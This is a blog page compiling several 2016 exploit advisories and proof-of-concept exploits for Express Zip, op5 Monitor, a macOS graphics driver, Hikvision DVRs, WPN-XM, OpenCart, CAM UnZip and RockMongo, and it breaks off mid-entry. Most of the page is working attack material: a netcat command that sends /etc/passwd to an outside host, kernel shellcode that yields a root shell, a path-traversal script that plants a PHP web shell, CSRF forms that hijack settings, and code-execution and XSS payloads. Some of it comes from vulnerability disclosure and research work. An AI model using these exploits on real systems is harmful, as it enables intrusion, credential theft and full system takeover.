Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863287006

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python -w
# Title : Express Zip <= 2.40 Path Traversal
# Date : 07/04/2016
# Author : R-73eN
# Tested on : Windows Xp / Windows 7 Ultimate
# Software Link : http://www.nchsoftware.com/zip/
# Download Link: http://www.nchsoftware.com/zip/zipplus.exe
# Vulnerable Versions : Express Zip <= 2.40
# Express Zip doesn't validates " ..\ " which makes possible
# to do a path traversal attack which can be converted easily to RCE
# How to Reproduce:
# 1- Run Exploit
# 2- Right Click evil.zip go to Express Zip and click Extract Here
# 3- File will be extracted to the root of the partition in this case C:\POC.txt
# This quick and dirt code is written only for demonstration purposes.
# If you wanna profit from it you must modify it.
# Video: https://www.youtube.com/watch?v=kb43h8Hoo0o
#

#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

import zipfile, sys


if(len(sys.argv) != 2):
    print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
    print "[+] Example: python exploit.py test.txt"
    exit(0)
print "[+] Creating Zip File [+]"
zf = zipfile.ZipFile("evil.zip", "w")
zf.write(sys.argv[1], "..\\..\\..\\..\\..\\..\\..\\..\\POC.txt")
zf.close()
print "[+] Created evil.zip successfully [+]"
            
[+] Credits: hyp3rlinx

[+] Website: http://hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/OP5-REMOTE-CMD-EXECUTION.txt


Vendor:
============
www.op5.com


Product:
===========
op5 v7.1.9

op5 Monitor is a software product for server, Network monitoring and
management based on the open source Project Nagios.


Vulnerability Type:
========================
Remote Command Execution


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

op5 has a CSRF entry point that can be used to execute arbitrary remote
commands on op5 system sent via HTTP GET requests, allowing attackers
to completely takeover the affected host, to be victimized a user must be
authenticated and visit a malicious webpage or click an infected link...

Reference:
https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/


Exploit code(s):
===============

trivial RCE cat /etc/passwd... using netcat

nc.exe  -vvlp 5555 > passwds.txt

https://192.168.1.103/monitor/op5/nacoma/command_test.php?cmd_str=/bin/cat%20/etc/passwd%20|%20nc%20192.168.1.102%205555
<https://192.168.1.103/monitor/op5/nacoma/command_test.php?cmd_str=/bin/cat%20/etc/passwd%20%7C%20nc%20192.168.1.102%205555>


result:

listening on [any] 5555 ...
192.168.1.103: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 56935: NO_DAT
 sent 0, rcvd 1343

C:\netcat-win32-1.12>type passwds.txt
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
smstools:x:499:499::/var/lib/smstools:/bin/bash
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
op5lsu:x:500:500::/home/op5lsu:/bin/bash
saslauth:x:498:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
monitor:x:299:48::/opt/monitor:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin



Disclosure Timeline:
============================================
Vendor Notification:  March 27, 2016
Vendor confirms vulnerability March 27, 2016
Vendor issue patched new release v7.2.0 April 5, 2016
April 6, 2016  : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
=================================================================


Request Method(s):        [+] GET


Vulnerable Product:       [+] op5 v7.1.9


Vulnerable Parameter(s):  [+] 'cmd_str'

=================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
/*

░▀█▀░█▀█░█░░░█▀█░█▀▀░░░█░█░█░█░█░░░█▀█░█▀▄░█▀▀░█░█░
░░█░░█▀█░█░░░█░█░▀▀█░░░▀▄▀░█░█░█░░░█░█░█░█░█▀▀░▀▄▀░
░░▀░░▀░▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀░▀▀▀░▀░▀░▀▀░░▀▀▀░░▀░░
  T   A   L   O   S     V   U   L   N   D   E   V

Proof-of-Concept Exploit
Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/
Snort rules: 37517, 37518
CVE-2016-1743

Author: Piotr Bania, Cisco Talos
Target: Apple Intel HD 3000 Graphics driver 
Impact: Local Privilege Escalation (root)

Tested Configuration: 
Apple Intel HD 3000 Graphics driver 10.0.0
Darwin Kernel Version 15.2.0
OSX 10.11.2

Compilation: 
gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3

kudos: 
qwertyoruiop (i've grabbed the lsym thing from you)


technical information (AppleIntelHD3000Graphics driver 10.0.0) :
...
__text:000000000001AA4E                 mov     ecx, [rcx]
__text:000000000001AA50                 add     ecx, ecx
__text:000000000001AA52                 sub     eax, ecx
__text:000000000001AA54                 cmp     rbx, rax
__text:000000000001AA57                 ja      loc_1AC8C
__text:000000000001AA5D                 mov     [rbp+var_54], esi
__text:000000000001AA60                 mov     rax, [rdi]
__text:000000000001AA63                 mov     esi, 168h
__text:000000000001AA68                 call    qword ptr [rax+980h]         ; # WE CAN CONTROL THIS #


Expected output:

mac-mini:bug mini$ uname -a
Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64

mac-mini:bug mini$ ./TALOS-2016-0088_poc
---------------------------------------------------------------- 
APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 
by Piotr Bania / CISCO TALOS
---------------------------------------------------------------- 


Alloc: deallocating! 
Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes
Alloc: vm_allocate ok, now vm_protect ...
Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling
Mapping the kernel 
MapKernel: kernel mapped 
Initializing service 
InitService: Trying: Gen6Accelerator 
InitService: service ok! 
Commencing stage 1 
Stage1: Copying the stage1 payload 0x00001000 - 0x00001071 
Stage1: Setting up the RIP to 0x00001000 
Stage1: Copying trigger data 
Stage1: Making stage1 call
Stage1: leaked kernel address 0xffffff8021e00000 
Stage1: kernel address leaked, success! 
ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000) 
ResolveApi: _current_proc = 0xffffff8022437a60  
ResolveApi: _proc_ucred = 0xffffff80223a9af0  
ResolveApi: _posix_cred_get = 0xffffff802237e780  
ResolveApi: _chgproccnt = 0xffffff80223a8400  
Commencing stage 2 
Stage2: preparing the stage2 payload 
Stage2: Copying the stage2 payload 0x00001000 - 0x00001071 
Stage2: Setting up the RIP to 0x00001000 
Stage2: Copying trigger data 
Stage2: Making stage2 call
Stage2: success, got root! 
Stage2: now executing shell 
sh-3.2# whoami
root
sh-3.2# 

*/


#include "import.h"

/**

    defines

**/

#define MEM_SIZE                        0x2000
#define PAYLOAD_MEM_START               0x1000
#define INIT_SIG                        0x0210010100000008
#define OFFSET_PAYLOAD_EXEC             0x980
#define OFFSET_ROOM                     64

#define RESOLVE_SYMBOL_MY(map, name)    lsym_find_symbol(map, name) - base + KernelAddr


/**

    stage 1 payload - get kernel address and put it to 0x1000

 ; memory space for kernel address 
 
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 
 save_regs64
 
 
    ; get msr entry
    mov     rcx, 0C0000082h     ;   lstar
    rdmsr				        ;   MSR[ecx] --> edx:eax
    shl     rdx, 32
    or	    rax, rdx
      
    ; find kernel addr - scan backwards
MAX_KERNEL_SCAN_SIZE    equ 10000h    
KERNEL_SIG              equ 01000007FEEDFACFh
PAGE_SIZE               equ 1000h    
    
    
    mov     rcx, MAX_KERNEL_SCAN_SIZE
    and     rax, not 0FFFFFh
    xor     rdx, rdx
    mov     r8, KERNEL_SIG
    
 
scan_loop:
    sub     rax, PAGE_SIZE
    dec     rcx
    jz      scan_done

    ; is sig correct?
    cmp     qword [rax], r8
    jnz     scan_loop
    
    mov     rdx, rax
    
scan_done:    
    
    ; store the addr - rdx kernel addr, 0 if not found
    lea     rcx, [shell_start]
    mov     qword [rcx], rdx
 
 load_regs64
 
    xor     rax, rax
    xor     r15, r15
    
    ret
     
    
    
**/

unsigned char stage1[113] = {
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 
	0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32, 
	0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25, 
	0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 
	0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75, 
	0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F, 
	0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 
	0xC3
};


/**

    stage 2 payload - escalate

  jmp over_api_table
 
 
    api_current_proc    dq   0
    api_proc_ucred      dq   0
    api_posix_cred_get  dq   0
    api_chgproccnt      dq   0
 
 
 
 over_api_table:
 save_regs64   
    
       mov     rax, qword [api_current_proc]
    call    rax
    mov     rdi, rax        ; rdi = cur_proc
    
    
    ; system v abi - rdi first arg
    mov     rax, qword [api_proc_ucred]
    call    rax
    
    
    ; rax = cur_ucred
    mov     rdi, rax
    mov     rax, qword [api_posix_cred_get]
    call    rax
    
    ; rax = pcred
    mov     dword [rax], 0
    mov     dword [rax+8], 0
    
 load_regs64
 
    xor     rax, rax
    xor     r15, r15
    
    ret
    
**/


#define     OFF_API_START               2                   
#define     OFF_API_CURRENT_PROC        OFF_API_START
#define     OFF_API_PROC_UCRED          OFF_API_CURRENT_PROC    + 8
#define     OFF_API_POSIX_CRED_GET      OFF_API_PROC_UCRED      + 8
#define     OFF_API_CHGPROCCNT          OFF_API_POSIX_CRED_GET  + 8     // not used in this example


unsigned char stage2[111] = {
	0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 
	0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 
	0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3
};



/**

    globals
    
**/

uint64_t                mem;
io_connect_t            conn;

uint64_t                KernelAddr          =   0;
lsym_map_t*             MappingKernel       =   0;

uint64_t                api_current_proc    =   0;
uint64_t                api_proc_ucred      =   0;
uint64_t                api_posix_cred_get  =   0;
uint64_t                api_chgproccnt      =   0;
 
 


/**

    functions
    
**/



uint64_t Alloc(uint32_t addr, uint32_t sz) 
{
    mach_error_t	k_error;
    
    printf("Alloc: deallocating! \n");
    vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
    
    printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz);
    k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
    
    if (k_error != KERN_SUCCESS)
    {
         printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
         exit(-1);
    }
    
    
    printf("Alloc: vm_allocate ok, now vm_protect ...\n");
 
    k_error =  vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx
       
    if (k_error != KERN_SUCCESS)
    {
         printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
         exit(-1);        
    }
     
    printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr);
   
    while(sz--) *(char*)(addr+sz)=0;
    return addr;
}


int MapKernel(void)
{
    
    MappingKernel   =   lsym_map_file("/mach_kernel");
    if (!MappingKernel || !MappingKernel->map) 
    {
        MappingKernel  =   lsym_map_file("/System/Library/Kernels/kernel");
    }
    
    if (!MappingKernel || !MappingKernel->map) 
    {
        printf("MapKernel: unable to map kernel, quiting \n");
        return -1;
    }
    
    
    printf("MapKernel: kernel mapped \n");
    return 1;
}



int ResolveApi(void)
{
    
 
    uint64_t        base                =   lsym_kernel_base(MappingKernel);
      
    api_current_proc    =   RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc");
    api_proc_ucred      =   RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred");   
    api_posix_cred_get  =   RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get");
    api_chgproccnt      =   RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt");
  
    printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base);
    printf("ResolveApi: _current_proc = 0x%016llx  \n", api_current_proc);
    printf("ResolveApi: _proc_ucred = 0x%016llx  \n", api_proc_ucred);
    printf("ResolveApi: _posix_cred_get = 0x%016llx  \n", api_posix_cred_get);
    printf("ResolveApi: _chgproccnt = 0x%016llx  \n", api_chgproccnt);
       
    return 1;
    
}




int InitService(char *IoServiceName)
{
    int                     type;
    io_service_t            service;
    CFMutableDictionaryRef  matching;
    io_iterator_t           iterator;    
    
    printf("InitService: Trying: %s \n", IoServiceName);
    
    matching = IOServiceMatching(IoServiceName);
    
    if( !matching) 
    {
        printf("Initservice: IOServiceMatching() failed \n");
        return -1;
    }
    
    if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceGetMatchingServices failed \n");
        return -1;
    }

   
    service = IOIteratorNext(iterator);
    if (service == IO_OBJECT_NULL) 
    {
        printf("InitService: IOIteratorNext failed \n");
        return -1;
    }
    
    
    type        =   0;
    conn        =   MACH_PORT_NULL;
    if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceOpen failed! \n");
        return -1;
    }
   
    printf("InitService: service ok! \n");
    return 1;
}



int Stage1(void)
{
    unsigned    char        *p;
    unsigned    char        *p_ptr;
    
    kern_return_t           k_error;

    char                    UselessStruct[4096];
    size_t                  UselessStructSize = 0x14; 
        
    
    p                   = (unsigned char*)mem; 
    p_ptr               = p + OFFSET_ROOM;
    
    
    
    printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1));

    printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
    
    
    printf("Stage1: Copying trigger data \n");
    *(uint64_t*)p_ptr    =   INIT_SIG;
    
    printf("Stage1: Making stage1 call\n");    
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
   
    KernelAddr      =   *(uint64_t*)PAYLOAD_MEM_START;
    printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr);
    
    if ((KernelAddr == 0) || (KernelAddr == 0x90909090)) 
    {
        printf("Stage1: fatal kernel address is wrong, exiting \n");
        return -1;
    }
    
    printf("Stage1: kernel address leaked, success! \n");
    return 1;
}


int Stage2(void)
{
    int         i;
    unsigned    char        *p;
    unsigned    char        *p_ptr;
    
    kern_return_t           k_error;

    char                    UselessStruct[4096];
    size_t                  UselessStructSize = 0x14; 
        
    
    p                   = (unsigned char*)mem; 
    p_ptr               = p + OFFSET_ROOM;
    
    
    printf("Stage2: preparing the stage2 payload \n");

    unsigned char *t                            =   (unsigned char*)&stage2;
    *(uint64_t*)(t + OFF_API_CURRENT_PROC)      =   api_current_proc;
    *(uint64_t*)(t + OFF_API_PROC_UCRED)        =   api_proc_ucred;
    *(uint64_t*)(t + OFF_API_POSIX_CRED_GET)    =   api_posix_cred_get;
    *(uint64_t*)(t + OFF_API_CHGPROCCNT)        =   api_chgproccnt;
   
    
    printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2));

    printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
    
   
    printf("Stage2: Copying trigger data \n");
    *(uint64_t*)p_ptr    =   INIT_SIG;
    
 
    printf("Stage2: Making stage2 call\n");    
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
   
    
    setuid(0);
    if (getuid() == 0) 
    {
        
        printf("Stage2: success, got root! \n");
        printf("Stage2: now executing shell \n");
  
        system("/bin/sh");
        exit(0);
    }
    
    
    printf("Stage2: failed! \n");
    return -1;    

}




int main(void)
{
    printf(" ---------------------------------------------------------------- \n");
    printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n"); 
    printf(" by Piotr Bania / CISCO TALOS \n");
    printf(" ---------------------------------------------------------------- \n\n\n");
    
    
    IOServiceClose(0);                      
    IOServiceOpen(0, 0, 0, 0);                 
    
    // if this fails and we are done 
    mem = Alloc(0, MEM_SIZE);
    
    
    printf("Mapping the kernel \n");
    
    if (MapKernel() == -1)
        return -1;
 
    printf("Initializing service \n");
    
    if (InitService("Gen6Accelerator") == -1)
        return -1;
    
    printf("Commencing stage 1 \n");
    
    if (Stage1() == -1)
        return -1;

    if (ResolveApi() == -1)
        return -1;

    printf("Commencing stage 2 \n");
     
    Stage2();
 
 
    return 1;
}
            
<!--
Hikvision Digital Video Recorder Cross-Site Request Forgery


Vendor: Hikvision Digital Technology Co., Ltd
Product web page: http://www.hikvision.com
Affected version: LV-D2104CS
                  DS-7316HFI-ST
                  DS-7216HVI-SV/A
                  DS-7208HVI-SH
                  DS-7204HVI-SH

Summary: Hikvision is the global leader of video surveillance
products and solutions, manufactures a wide range of top-quality,
reliable, and professional solutions.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Hikvision-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5315
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5315.php

Vendor: http://overseas.hikvision.com/europe/list01_435.html


13.01.2016

--


CSRF Add Operator:
------------------
-->

<html>
  <body>
    <form action="http://10.0.0.8/PSIA/Security/AAA/users" method="POST" enctype="text/plain">
      <input type="hidden" name="<&#63;xml&#32;version" value="&apos;1&#46;0&apos;&#32;encoding&#61;&apos;utf&#45;8&apos;&#63;><User><id>3<&#47;id><userName>tes2t<&#47;userName><password>test2<&#47;password><Extensions><bondIp><ipAddress>0&#46;0&#46;0&#46;0<&#47;ipAddress><&#47;bondIp><attribute><inherent>true<&#47;inherent><&#47;attribute><&#47;Extensions><&#47;User>" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>
            
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/WPNXM-CSRF.txt


Vendor:
===========
wpn-xm.org


Product:
==============================================
WPN-XM Serverstack for Windows - Version 0.8.6

WPN-XM is a free and open-source web server solution stack for professional
PHP development on the Windows platform.


Vulnerability Type:
================================
CSRF - MySQL / PHP.INI Hijacking


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

WPN-XMs webinterface is prone to multiple CSRF entry points allowing remote
attackers to compromise an authenticated user if they visit
a malicious webpage or click an attacker supplied link. Attackers can
modify the 'PHP.INI' file to change arbitrary PHPs settings
like enable 'allow_url_include' or changing the default MySQL username &
password settings etc...


Exploit code(s):
===============


1) Hijack MySQL Account Default Settings


<iframe name="ifrm" width="600" height="700" name="hidden-form"></iframe>


<form target="ifrm" id="CSRF-MySQL-Username" method="post" action="
http://localhost/tools/webinterface/index.php?page=config&action=update-phpini-setting
">
<input type="hidden" name="page" value="config">
<input type="hidden" name="action" value="update-phpini-setting">
<input type="hidden" name="directive" value="mysql.default_user" />
<input type="hidden" name="value" value="hyp3rlinx" />
<script>document.getElementById('CSRF-MySQL-Username').submit()</script>
</form>

<form target="ifrm" id="CSRF-MySQL-PWD" method="post" action="
http://localhost/tools/webinterface/index.php?page=config&action=update-phpini-setting
">
<input type="hidden" name="page" value="config">
<input type="hidden" name="action" value="update-phpini-setting">
<input type="hidden" name="directive" value="mysql.default_password">
<input type="hidden" name="value" value="PWNED!" />
<script>document.getElementById('CSRF-MySQL-PWD').submit()</script>
</form>


2)  Hijack PHP.INI Settings

<form id="CSRF-PHP-INI" method="post" action="
http://localhost/tools/webinterface/index.php?page=config&action=update-phpini-setting
">
<input type="hidden" name="directive" value="allow_url_include" />
<input type="hidden" name="value" value="On" />
<script>document.getElementById('CSRF-PHP-INI').submit()</script>
</form>



Disclosure Timeline:
=====================================
Vendor Notification: No Reply
April 9, 2016 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
Medium


=================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
OpenCart json_decode function Remote PHP Code Execution

Author: Naser Farhadi
Twitter: @naserfarhadi

Date: 9 April 2016 Version: 2.1.0.2 to 2.2.0.0 (Latest version)
Vendor Homepage: http://www.opencart.com/

Vulnerability:
------------
/upload/system/helper/json.php
$match = '/".*?(?<!\\\\)"/';
$string = preg_replace($match, '', $json);
$string = preg_replace('/[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/', '', $string);
...
$function = @create_function('', "return {$json};"); /**** The Root of All Evil ****/
$return = ($function) ? $function() : null;
...
return $return;

Exploit(json_decode):
------------
var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}'));
var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}'));
var_dump(json_decode('{"ok":"1"."2"."3"}'));

Real World Exploit(OpenCart /index.php?route=account/edit)
------------
go to http://host/shop_directory/index.php?route=account/edit
fill $_SERVER[HTTP_USER_AGENT] as First Name
/** save it two times **/
Code execution happens when an admin user visits the administration panel, in this example 
admin user sees his user agent as your First Name in Recent Activity :D

Another example(OpenCart account/edit or account/register custom_field): /** Best Case **/
------------
if admin adds a Custom Field from /admin/index.php?route=customer/custom_field for custom
user information like extra phone number,... you can directly execute your injected code.
go to http://host/shop_directory/index.php?route=account/edit
fill {$_GET[b]($_GET[c])} as Custom Field value
save it
go to http://host/shop_directory/index.php?route=account/edit&b=system&c=ls /** Mission Accomplished **/

Note:
------------
Exploit only works if PHP JSON extension is not installed.

Video: https://youtu.be/1Ai09IQK4C0
            
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/CAMUNZIP-ARCHIVE-PATH-TRAVERSAL.txt


Vendor:
=================
www.camunzip.com


Product:
==============
CAM UnZip v5.1


Vulnerability Type:
======================
Archive Path Traversal


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

CAM UnZip fails to check that the paths of the files in the archive do not
engage in path traversal when uncompressing the archive files.
specially crafted files in the archive containing '..\' in file name can
overwrite files on the filesystem by backtracking or allow attackers
to place malicious files on system outside of the target unzip directory
which may lead to remote command execution exploits etc...

Tested successfully Windows 7


Exploit code(s):
===============

malicious archive script...


<?php
#CAM UnZip v5.1
#directory traversal to remote code execution exploit
#====================================================

if($argc<2){echo "Usage: <filename>";exit();}
$file_name=$argv[1];

$zip = new ZipArchive();
$res = $zip->open("$file_name.zip", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php
exec($_GET["cmd"]); ?>');
$zip->close();

echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";
?>

/////////////////////////////////////////////////////////////////////////////////////

Result:

Creating Folder: C:\Test\BOZO

Extracting Files From: C:\Test\BOZO.zip

Unzipped file C:\Test\BOZO\..\..\..\..\..\..\..\..\RCE.php of size 28

1 file was Extracted.

C:\RCE.php




Exploitation Technique:
=======================
Local


Severity Level:
================
Medium


[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
#########################################################################################################################################################
# Exploit Title:  RockMongo v1.1.8 - PHP MongoDB Administrator Multiple
Vulnerabilities
# Date: 11.04.2016
# Exploit Author: Ozer Goker
# Vendor Homepage: http://rockmongo.com
# Software Link: https://github.com/iwind/rockmongo
# Version: [app version] 1.1.8
#########################################################################################################################################################

What is RockMongo?

RockMongo, a MongoDB administration tool, written in PHP5, is Best in PHP
world, more like PHPMyAdmin. source = http://rockmongo.com


Vulnerabilities: CSRF | HTML(or Iframe) Injection | XSS (Reflected & Stored)



XSS details:
#########################################################################################################################################################

XSS1 (Reflected)

URL
http://localhost/rockmongo/index.php?action=login.index

METHOD
Post

PARAMETER
username

PAYLOAD
"><script>alert(1)</script>

#########################################################################################################################################################

XSS2 (Reflected)

URL
http://localhost/rockmongo/index.php?action=login.index

METHOD
Post

PARAMETER
db

PAYLOAD
"><script>alert(1)</script>

#########################################################################################################################################################

XSS3 (Reflected)

URL
http://localhost/rockmongo/index.php?action=server.createDatabase

METHOD
Post

PARAMETER
name

PAYLOAD
<script>alert(3)</script>

#########################################################################################################################################################

XSS4 (Stored)

URL
http://localhost/rockmongo/index.php?action=db.newCollection&db=test

METHOD
Post

PARAMETER
name

PAYLOAD
<script>alert(4)</script>

#########################################################################################################################################################

XSS5 (Reflected)

URL
http://localhost/rockmongo/index.php?action=server.command&db=test

METHOD
Post

PARAMETER
db

PAYLOAD
<script>alert(5)</script>

#########################################################################################################################################################

XSS6 (Reflected)

URL
http://localhost/rockmongo/index.php?action=collection.removeCollection&db=test&collection=system.indexes%3Cscript%3Ealert%286%29%3C/script%3E

METHOD
Get

